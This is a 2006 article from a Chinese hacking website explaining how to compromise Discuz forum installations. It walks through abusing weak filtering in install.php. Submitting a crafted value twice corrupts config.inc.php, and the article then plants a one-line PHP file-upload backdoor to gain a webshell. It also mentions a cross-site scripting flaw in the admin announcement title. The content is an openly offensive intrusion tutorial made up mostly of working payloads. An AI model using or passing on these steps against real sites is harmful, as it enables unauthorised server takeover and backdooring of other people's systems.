黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 文章正文
[推荐]两种Discuz网站漏洞的入侵方法
      ★★★★★
两种Discuz网站漏洞的入侵方法
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-11-1
鸡肋1:install.php由于preg_grep过滤不严存在安全漏洞,可以直接拿webshell
如果你万幸发现install.php存在,但还没创建数据库账号,或者得到了数据库账号拿不到shell的时候,可以看看这个。

install.php的339-412行中对变量configfile进行了如下过滤
$configfile = preg_replace("/[$]dbhosts*=s*["'].*?["']/is", "$dbhost = '$dbhost'", $configfile);
$configfile = preg_replace("/[$]dbusers*=s*["'].*?["']/is", "$dbuser = '$dbuser'", $configfile);
$configfile = preg_replace("/[$]dbpws*=s*["'].*?["']/is", "$dbpw = '$dbpw'", $configfile);
............
意思是对$configfile文件中对$dbhost = ' '这样的匹配模式进行替换,这里并没有对单引号进行过滤,由于对主机,数据库名,密码等过滤规则是一样的,我们其中一个填写框中输入

CODE:
a';?>
[Copy to clipboard]
;------------(这是第一次提交)
然后保存,保存得到信息可能会错数据库连接出错,没有关系,因为discuz的安装配置文件是先写入再判断的,然后你查看一下config.inc.php,会出现

CODE:
$dbhost = 'a';?>'
[Copy to clipboard]

这样的格式。
我们回到上一步,再保存一次---------------------(这是第二次提交)
这时你会看到config.inc.php已经被破坏了,会出现

CODE:
$dbhost = 'a';?>';?>';
[Copy to clipboard]

这样的情况,但现在是却是一种<?php ?>这样完整的匹配模式了.
那我们在?>前面加上我们的一句话后门,就可以得到一个webshell了。
例如写入:a';copy($_FILES[myfile][tmp_name],$_FILES[myfile][name])?>
重复写入两次就可以通过install.php上传php后门了。

鸡肋2:后台的发公告的标题存在跨站漏洞
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886